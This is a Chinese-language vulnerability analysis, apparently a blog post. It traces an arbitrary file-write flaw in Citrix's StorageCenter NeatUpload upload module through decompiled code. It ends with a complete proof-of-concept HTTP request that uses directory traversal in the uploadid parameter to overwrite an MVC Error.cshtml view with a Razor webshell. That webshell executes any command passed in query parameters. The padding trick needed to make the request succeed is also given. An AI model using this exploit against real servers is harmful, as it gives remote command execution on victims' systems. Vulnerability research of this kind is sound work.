刷推特看到的,分析一下。Citrix的账号直接注册登录就行,可以下载试用。安装就不说了,server2016+iis+.netFramework48。
看官方通告说是不正确的资源控制,应该是类似文件上传。
在Brettle.Web.NeatUpload.UploadContext.WritePersistFile()
中找到疑似出问题的地方
其中19行str变量为缓存文件目录,真正写入文件的路径为str + this.PostBackID
,文件内容为变量s
1 string s = string.Format("{0},{1},{2},{3},{4},{5}", new object[]
2 {
3 this.PostBackID,
4 this.ContentLength,
5 this.BytesRead,
6 num,
7 this.StartTime.ToUniversalTime().Ticks,
8 DateTime.Now.ToUniversalTime().Ticks
9 });
如果this.PostBackID否可控,那么可以跨目录并且内容也是可控。
先来看Brettle.Web.NeatUpload.UploadContext.WritePersistFile()
在哪里被使用过,使用dnspy的分析功能向上回溯找到Brettle.Web.NeatUpload.UploadHttpModule.Init(HttpApplication)
该类继承自IHttpModule接口,用来实现上传功能,在C:\inetpub\wwwroot\Citrix\StorageCenter\web.config
也将该模块加入到模块列表中。
摘出来代码来看
第一块判断是否是上传的url,第二块判断请求中是否是multipart/form-data
结构,如果是multipart/form-data
,那么用FilteringWorkerRequest类实例,然后进一步处理请求ProcessRequest()。
到此为止我们清楚这个模块的作用就在于上传文件,那么我们现在来看this.PostBackID是否可控。
跟踪该变量的setter调用,在Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOrThrow()
找到赋值。
可见text4取决于请求中的
1Content-Disposition: form-data; name="text4"; filename="text5"
而经过fieldNameTranslator.FileFieldNameToPostBackID(text4)
处理之后其实没发生变化,如果this.PostBackID不为空直接return。
在FieldNameTranslator这个类的构造函数中this.PostBackID是由请求参数中取得,所以可控。
其中17行PostBackIDQueryParam参数配置在web.config中,id,uploadid
两者皆可用
先捋一下
UploadHttpModule.Application_BeginRequest()
处理上传请求Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseMultipart()
解析http请求Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOrThrow()
确保正确解析multipart请求Brettle.Web.NeatUpload.UploadContext.WritePersistFile()
将PostBackID写入文件尝试构造
写入文件成功
这里需要注意两个点Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOrThrow()
中需要设置两个参数不为空,否则会直接抛出异常。
第二个是上传文件大小不得小于4096字节,在Brettle.Web.NeatUpload.FilteringWorkerRequest.CopyUntilBoundary(string, string, string)
中,当this._doneReading
为true会直接返回false,那么在上级的ParseOrThrow()会直接抛出异常。
this._doneReading
取决于this.tmpBuffer
,如下图
this.tmpBuffer
为4096
所以我们只需要构造的时候大于4096就行了(亲测4096不行,4097可以= =)。
因为参数uploadid不仅用于文件内容,而且用于文件路径,那么在windows中文件名是不能出现一些特殊字符的。其中尖括号导致不能写aspx、ashx等webshell,所以这里引入cshtml。
通过覆盖MVC中的现有模板来达到webshell的目的,直接上poc:
1POST /upload.aspx?uploadid=%40using+System.Diagnostics%3B%40%7Bint+a%3D1%3Bint+b%3D2%3Bstring+cmd+%3D+Request.QueryString%5Ba.ToString%28%29%5D%3Bstring+arg+%3D+Request.QueryString%5Bb.ToString%28%29%5D%3BProcess+pro+%3D+new+Process%28%29%3Bpro.StartInfo.FileName+%3D+cmd%3Bpro.StartInfo.Arguments+%3D+arg%3Bpro.StartInfo.UseShellExecute+%3D+false%3Bpro.StartInfo.RedirectStandardError+%3D+true%3Bpro.StartInfo.RedirectStandardInput+%3D+true%3Bpro.StartInfo.RedirectStandardOutput+%3D+true%3Bpro.StartInfo.CreateNoWindow+%3D+true%3Bpro.Start%28%29%3Bstring+s+%3D+pro.StandardOutput.ReadToEnd%28%29%3BResponse.Clear%28%29%3BResponse.Write%28s%29%3BResponse.End%28%29%3B%7D%2F..%2F..%2FConfigService%5CViews%5CShared%5CError.cshtml&bp=123&accountid=123 HTTP/1.1
2Host: 192.168.137.130
3Accept-Encoding: gzip, deflate
4Accept: */*
5Connection: close
6Content-Type: multipart/form-data; boundary=boundary
7Content-Length: 100
8
9--boundary
10Content-Disposition: form-data; name="text4"; filename="text5"
11
124097*A
13--boundary--
over!
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。